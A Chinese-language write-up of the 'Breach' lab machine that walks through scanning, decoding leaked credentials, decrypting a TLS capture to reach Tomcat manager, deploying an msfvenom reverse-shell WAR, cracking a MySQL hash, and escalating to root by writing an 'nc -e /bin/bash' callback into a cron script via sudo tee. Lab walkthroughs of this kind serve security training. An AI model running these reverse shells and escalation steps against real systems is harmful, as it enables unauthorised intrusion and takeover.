文章目录

  • 环境搭建
  • 信息收集
  • 端口扫描
  • 目录扫描
  • 获得impresscms中的账号密码
  • 扫描cms
  • 登录impresscms
  • 获得keystore储存库
  • 获得别名,密钥口令
  • 反弹war-shell
  • 提权
  • 登录数据库
  • 登录milton
  • 分析图片,找到blumbergh密码
  • 写定时任务


环境搭建

靶机:breach
仅主机模式
ip:192.168.110.140

攻击机:kali
仅主机模式
ip:192.168.110.128

信息收集

端口扫描

nmap -T4 -A -v 192.168.110.140

几乎所有的端口都打开了

80端口有内容,但只有几行字和一张照片

图片可以被点击

wireshark 私钥导入 wireshark导入证书和密钥_wireshark 私钥导入

wireshark 私钥导入 wireshark导入证书和密钥_安全_02


点击第四个,跳转到下面这个页面

http://192.168.110.140/impresscms/user.php

wireshark 私钥导入 wireshark导入证书和密钥_php_03

目录扫描

dirb http://192.168.110.140

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_04

──(root㉿kali)-[~/Desktop/soft/dirsearch-master]
└─# python dirsearch.py -u 192.168.110.140

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_05


打开http://192.168.110.140/images/,下面有几张图片

wireshark 私钥导入 wireshark导入证书和密钥_linux_06

打开bill.png,上面的字让我们看源码(在后面才知道这句话的真正意思),但是这个上面图片的源码都没有内容,想到刚才80端口还有一个图片,这个源码有内容

wireshark 私钥导入 wireshark导入证书和密钥_安全_07

获得impresscms中的账号密码

下面是http://192.168.110.140/80图片源码中的

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_08


用base64解码两次,获得

pgibbons:damnitfeel$goodtobeagang$ta

看不懂
这是账号和密码,中间有记住了

http://192.168.110.140/.gitignore

wireshark 私钥导入 wireshark导入证书和密钥_linux_09


将上面的目录打开也没有发现什么

扫描cms

使用msfconsole中searchsploit impresscms 查看路径命令:searchsploit -p 35134.txt 扫描系统:searchsploit 版本号 系统名字

用法: 将文件拷贝出来,然后改里面的路径,然后根据格式改后缀,打开就可以看到有没有漏洞

这里面没有有用 的漏洞

wireshark 私钥导入 wireshark导入证书和密钥_php_10

登录impresscms

获得keystore储存库

使用pgibbons:damnitfeel$goodtobeagang$ta,会先让你设置,设置完之后,你会看到三封邮件,前两封无有用信息,第三封有密钥192.168.110.140/.keystore keystore:密钥的储存库

获得别名,密钥口令

这个地方可以点击,然后获得一个路径(又是一个文件)

http://192.168.110.140/impresscms/_SSL_test_phase1.pcap

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_11


wireshark 私钥导入 wireshark导入证书和密钥_php_12


wireshark 私钥导入 wireshark导入证书和密钥_安全_13


别名、Keystore密码、key密码都设置成tomcat。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。

根据以上信息操作
使用Java keytool工具(Java自带)

在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书

wireshark 私钥导入 wireshark导入证书和密钥_linux_14

接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书

keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

密钥口令全填tomcat

wireshark 私钥导入 wireshark导入证书和密钥_linux_15

首先利用wireshark打开下载的pcap文件

然后将生成的tomcatkeystore.p12证书,导入wireshark(在编辑-首选项里面选择TLS后点击Edit进行添加刚刚导出的tomcatkeystore.p12证书)

8443是tomcat打开SSL的文本服务的默认端口

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_16


发现一个url(如果连接失败,说不安全,挂一个bp代理)

https://192.168.110.140:8443/_M@nag3Me/html

wireshark 私钥导入 wireshark导入证书和密钥_wireshark 私钥导入_17


需要登录,采用http basic认证

wireshark 私钥导入 wireshark导入证书和密钥_wireshark 私钥导入_18

找到账号和密码了

tomcat:Tt\5D8F(#!*u=G)4m7zB

wireshark 私钥导入 wireshark导入证书和密钥_php_19


登录成功

反弹war-shell

wireshark 私钥导入 wireshark导入证书和密钥_linux_20


发现可以上传文件,挂一个war反弹shell

wireshark 私钥导入 wireshark导入证书和密钥_安全_21


利用msf制作war包木马

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war

在kail靶机上打开msf进行监听

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.110.128
msf6 exploit(multi/handler) > run

之后点一下kali(就是生成的木马名)

wireshark 私钥导入 wireshark导入证书和密钥_安全_22


msf成功上线

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_23

提权

wireshark 私钥导入 wireshark导入证书和密钥_php_24

python -c 'import pty;pty. spawn("/bin/bash")'

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_25


wireshark 私钥导入 wireshark导入证书和密钥_wireshark 私钥导入_26


因为是apache,所以查看一下/var/www 不能放过每个目录

wireshark 私钥导入 wireshark导入证书和密钥_linux_27

0d93f85c5061c44cdffeb8381b2772fd.php  
fe4db1f7bc038d60776dcb66ab3404d5.php   
cache                                 
modules

wireshark 私钥导入 wireshark导入证书和密钥_wireshark 私钥导入_28

登录数据库

是数据库配置文件
cat 0d93f85c5061c44cdffeb8381b2772fd.php
获得信息
用户名:root
密码:空

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_29


wireshark 私钥导入 wireshark导入证书和密钥_tomcat_30


impresscms里面没有有用的数据,直接看mysql

wireshark 私钥导入 wireshark导入证书和密钥_linux_31

登录milton

select user,password from user;

| root             |                                           |
| milton           | 6450d89bd3aff1d893b85d3ad65d2ec2          |
| root             |                                           |
| root             |                                           |
| debian-sys-maint | *A9523939F1B2F3E72A4306C34F225ACF09590878

md5解密6450d89bd3aff1d893b85d3ad65d2ec2 得到密码thelaststraw

wireshark 私钥导入 wireshark导入证书和密钥_安全_32


找一下这个账号吧,那个root登录不上去我是没有想到那几张图片有问题

wireshark 私钥导入 wireshark导入证书和密钥_linux_33

wireshark 私钥导入 wireshark导入证书和密钥_php_34

分析图片,找到blumbergh密码

将图片下载后利用图片隐写术, strings分析图片,或者exiftool查看(突然发现,那张bill.png(上面有字的)说的话,我理解错了,需要用隐写术)

没有的可以用这个命令进行下载
apt install libimage-exiftool-perl
到你下载的目录下执行命令
exiftool * | grep -i -e 'File Name' -e 'Comment'

发现密码coffeestains,

wireshark 私钥导入 wireshark导入证书和密钥_linux_35


登录成功

wireshark 私钥导入 wireshark导入证书和密钥_php_36

写定时任务

查看历史记录

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_37


第5、6行明显有问题

wireshark 私钥导入 wireshark导入证书和密钥_tomcat_38


发现他是为了防止黑客入侵,每隔三分钟定时清理一下

我们发现他是root用户才行执行那么我们可以 利用这个定时任务建立一个反弹连接进行提权

sudo -l看一下sudo权限,发现了一个tee命令

翻译:
User blumbergh may run the following commands on Breach:
用户blumbergh可以在Breach上运行以下命令:

用户blumbergh可以在Breach上运行以下命令:

wireshark 私钥导入 wireshark导入证书和密钥_安全_39


linux tee命令

tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件

所以回到家目录下写入shell

用tee命令写tidyup.sh
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt

将其追加到定时任务里去

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

看一下有没有成功

cat /usr/share/cleanup/tidyup.sh

kali监听(等待3分钟)

nc -lvvp 5555

wireshark 私钥导入 wireshark导入证书和密钥_安全_40